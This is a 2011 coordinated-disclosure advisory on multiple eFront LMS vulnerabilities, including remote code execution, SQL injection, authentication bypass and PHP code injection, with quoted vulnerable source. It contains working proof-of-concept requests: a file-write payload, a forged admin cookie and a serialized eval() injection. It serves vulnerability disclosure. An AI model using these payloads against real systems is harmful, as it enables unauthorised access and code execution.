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eFront <= 3.6.10 (build 11944) Multiple Security Vulnerabilities
From: n0b0d13s () gmail com
Date: Thu, 27 Oct 2011 10:24:05 GMT


  ----------------------------------------------------------------
  eFront <= 3.6.10 (build 11944) Multiple Security Vulnerabilities
  ----------------------------------------------------------------
  
  author.............: EgiX
  mail...............: n0b0d13s[at]gmail[dot]com
  software link......: http://www.efrontlearning.net/
  tested versions....: 3.6.7 - 3.6.9 - 3.6.10
  
  
  +-----------------------+
  | Remote Code Execution |
  +-----------------------+
  
  The vulnerable code is located in /www/editor/tiny_mce/plugins/save_template/save_template.php
  
  8.    if ($_POST['templateName']) {
  9.            $dir = '../../../../content/editor_templates/'.$_SESSION['s_login'];
  10.           if (!is_dir($dir) && !mkdir($dir, 0755)) {
  11.                   throw new Exception(_COULDNOTCREATEDIRECTORY);
  12.           }
  13.   
  14.           $filename = $dir.'/'.$_POST['templateName'].'.html';
  15.           $templateContent = $_POST['templateContent'];
  16.           if(file_exists($filename) === false) {
  17.                   $ok = file_put_contents($filename, $templateContent);
  18.                   chmod($filename, 0644);
  
  Input passed through $_POST['templateName'] and $_POST['templateContent'] isn't sanitized before being
  used in a call to file_put_contents() at line 17, this can be exploited to write arbitrary PHP code in
  a file with .php extension also if magic_quotes_gpc = on. Proof of concept request:
  
   POST /efront/www/editor/tiny_mce/plugins/save_template/save_template.php HTTP/1.1
   Host: localhost
   Content-Length: 60
   Content-Type: application/x-www-form-urlencoded
   Connection: keep-alive

   templateName=sh.php%00&templateContent=<?php evil_code(); ?>
   
  Successful exploitation of this vulnerability doesn't require authentication.
  
  +--------------------------+
  | Unrestricted File Upload |
  +--------------------------+
  
  The vulnerable code is located in /libraries/filesystem.class.php
  
  3143.     public static function checkFile($name) {
  3144.     if ($GLOBALS['configuration']['file_black_list'] != '') {
  3145.          $blackList = explode(",", $GLOBALS['configuration']['file_black_list']);
  3146.     } else {
  3147.       $blackList = array();
  3148.     }
  3149.     $blackList[] = 'php';
  3150.         $extension = pathinfo($name, PATHINFO_EXTENSION);
  3151.         foreach ($blackList as $value) {
  3152.             if ($extension == trim(mb_strtolower($value))) {
  3153.                 throw new EfrontFileException(_YOUCANNOTUPLOADFILESWITHTHISEXTENSION.': '.$extension, 
EfrontFileException::FILE_IN_BLACK_LIST);
  3154.             }
  
  The FileSystemTree::uploadFile() method handles all uploads and It uses checkFile() method to verify the extension
  of the uploaded file. Here is compared the uploaded file extension with every extension in the 'file_black_list' 
array,
  that is constructed by this default configuration: "php,php3,jsp,asp,cgi,pl,exe,com,bat" and, as you can see, It 
doesn't
  contains others dangerous extension like phtml, pwml, php4, php5, inc... But the really problem is that at line 3152
  the uploaded file extension is simply compared with == operator, so an attacker could be able to upload for e.g. an
  avatar with .PHP extension. This is possible only if 'file_white_list' configuration is blank (such as by default).
  
  +-----------------------------------+
  | SQL Injection in UPDATE statement |
  +-----------------------------------+
   
  First look at the getUserTimeTarget() function defined into /libraries/tools.php
  
  2776. function getUserTimeTarget($url) {
  2777.  //return $_SESSION['s_time_target'];
  2778.  if (isset($_SESSION['s_lessons_ID']) && $_SESSION['s_lessons_ID']) {
  2779.   $entity = array($_SESSION['s_lessons_ID'] => 'lesson');
  2780.  } else {
  2781.   $entity = array(0 => 'system');
  2782.  }
  2783.  $urlParts = parse_url($url);
  2784.  $queryParts = explode('&', $urlParts['query']);
  2785.  foreach($queryParts as $part) {
  2786.   $result = explode("=", $part);
  2787.   switch ($result[0]) {
  2788.    case 'view_unit':
  2789.    case 'package_ID': $entity = array($result[1] => 'unit'); break;
  2790.    default: break;
  2791.   }
  2792.  }
  2793.  return $entity;
  2794. }
  
  It parses the given URL, and if in the query string is defined a 'package_ID' variable his content is
  used as a key for the $entity array. Now look the vulnerable code located in /www/periodic_updater.php
  
  32.    if ($_SESSION['s_login']) {
  33.     $entity = getUserTimeTarget($_GET['HTTP_REFERER']);
  34.     //$entity = $_SESSION['s_time_target'];
  35.      //Update times for this entity
  36.     $result = eF_executeNew("update user_times set time=time+(".time()."-timestamp_now),timestamp_now=".time()."
  37.           where session_expired = 0 and session_custom_identifier = '".$_SESSION['s_custom_identifier']."' and 
users_LOGIN = '".$_SESSION['s_login']."'
  38.            and entity = '".current($entity)."' and entity_id = '".key($entity)."'");
  
  Input passed through $_GET['HTTP_REFERER'] is passed to getUserTimeTarget() function at line 33 and the return value 
is
  used in call to eF_executeNew() at line 38. So an attacker could request an URL like this to inject arbitrary SQL 
code:
  
   http://localhost/efront/www/periodic_updater.php?HTTP_REFERER=http://host/?package_ID=[SQL]
  
  In older version input is taken from $_SERVER['HTTP_REFERER'] instead of $_GET['HTTP_REFERER'], but is still 
vulnerable.
  Successful exploitation of this vulnerability requires authentication.
  
  +---------------+
  | SQL Injection |
  +---------------+
  
  The vulnerable code is located in /www/js/LMSFunctions.php
  
  13.   /*These lines read SCO data for this student and pass them to the javascript code through the LMSToSCOValues 
variable*/
  14.   $result = eF_getTableData("scorm_data", "*", "users_LOGIN = '".$_SESSION['s_login']."' AND content_ID = 
'".$_GET['view_unit']."'");
  15.   sizeof($result) ? $LMSToSCOValues = $result[0] : $LMSToSCOValues = array();
  
  Input passed through $_GET['view_unit'] isn't properly sanitized before being used in a call
  to eF_getTableData() function at line 14, this can be exploited to inject arbitrary SQL code.
  Successful exploitation of this vulnerability doesn't require authentication or magic_quotes_gpc = off.
    
  +---------------+
  | SQL Injection |
  +---------------+
  
  The vulnerable code is located in /www/send_notifications.php
  
  69.   } else if (isset($_GET['sent_notification_id'])) {
  70.    $sent_notification = eF_getTableData("sent_notifications", "*", "id = " . $_GET['sent_notification_id']);
  71.    if (!empty ($sent_notification)) {
  
  Input passed through $_GET['sent_notification_id'] isn't properly sanitized before being used in a
  call to eF_getTableData() function at line 70, this can be exploited to inject arbitrary SQL code.
  Successful exploitation of this vulnerability doesn't require authentication or magic_quotes_gpc = off.
  
  +------------------------------------------------+
  | Authentication Bypass and Privilege Escalation |
  +------------------------------------------------+
  
  The vulnerable code is located in /www/index.php
  
  206.  if (isset($_COOKIE['cookie_login']) && isset($_COOKIE['cookie_password'])) {
  207.   try {
  208.    $user = EfrontUserFactory :: factory($_COOKIE['cookie_login']);
  209.    $user -> login($_COOKIE['cookie_password'], true);
  
  Input passed through $_COOKIE['cookie_login'] isn't properly sanitized before being used at
  line 208 to instanciate a new user object using EfrontUserFactory::factory() method, this can
  be exploited to bypass authentication and to escalate privilege. Proof of concept request:
  
   GET /efront/www/index.php HTTP/1.1
   Host: localhost
   Cookie: 
cookie_login[login]=admin;cookie_login[active]=1;cookie_login[user_type]=administrator;cookie_login[password]=1;cookie_password=1
   Connection: keep-alive
   
  +--------------------+
  | PHP Code Injection |
  +--------------------+
  
  The vulnerable code is located in /www/student.php
  
  123.       if (isset($_GET['course']) || isset($_GET['from_course'])) {
  124.              if ($_GET['course']) {
  125.            $course = new EfrontCourse($_GET['course']);
  126.              } else {
  127.               $course = new EfrontCourse($_GET['from_course']);
  128.              }
  129.              $eligibility = $course -> checkRules($_SESSION['s_login']);
  
  Input passed through $_GET['course'] (or $_GET['from_course']) isn't properly sanitized before being
  used to instantiate a new EfrontCourse object, this can be exploited to inject and execute arbitrary
  PHP code because of EfrontCourse::checkRules() method calls eval() function using the 'rules' object's
  property (see /libraries/course.class.php near lines 3638-3645). Successful exploitation of this
  vulnerability requires at least a student account with at least one completed lesson.
  Proof of concept request:
  
   
/student.php?lessons_ID=1&course[id]=1&course[directions_ID]=1&course[rules]=a:1:{s:19:"1];phpinfo();die;/*";a:1:{s:6:"lesson";i:0;}}
  
  
  [-] Conclusion:
  
  The latest two vulnerabilities emphasizes a critical design flaw. To understand what I means look
  at the constructor method of EfrontEntity (a generic class used as parent for some objects):
  
  64.       public function __construct($param) {
  65.           if (!$this -> entity) {
  66.               $this -> entity = strtolower(str_replace('Efront', '', get_class($this)));
  67.           }
  68.           if (!is_array($param)) {
  69.            if (!eF_checkParameter($param, 'id')) {
  70.                throw new EfrontEntityException(_INVALIDID.': '.$param, EfrontEntityException :: INVALID_ID);
  71.            }
  72.            $result = eF_getTableData($this -> entity, "*", "id=$param");
  73.            if (sizeof($result) == 0) {
  74.                throw new EfrontEntityException(_ENTITYNOTFOUND.': '.htmlspecialchars($param), 
EfrontEntityException :: ENTITY_NOT_EXIST);
  75.            }
  76.            $this -> {$this -> entity} = $result[0];
  77.           } else {
  78.               $this -> {$this -> entity} = $param;
  79.           }
  80.       }
  
  If the $param variable is an array, It's used to initialize all the object properties and this
  mechanism is used in almost all classes. So everytime in the code will appear something like
  
   $object = new EfrontObject($_GET['param']);
   
  and $_GET['param'] isn't properly sanitized, there is an high probability to lead in bugs such as
  SQL Injection, PHP Code Injection, LFI etc... because an attacker could pass parameter in array
  form and so he might be able to change the internal property of the objects with arbitrary data.
  So I think that could there be some other bugs, for this reason I would recommend to the eFront
  developers a complete source code review focused on security.
  
  
  [-] Disclosure timeline:
  
  [08/10/2011] - Vulnerabilities discovered
  [09/10/2011] - Others vulnerabilities discovered
  [11/10/2011] - Issues reported to http://bugs.efrontlearning.net/browse/EF-675
  [26/10/2011] - Vendor update released: http://forum.efrontlearning.net/viewtopic.php?t=3501
  [27/10/2011] - Public disclosure
  


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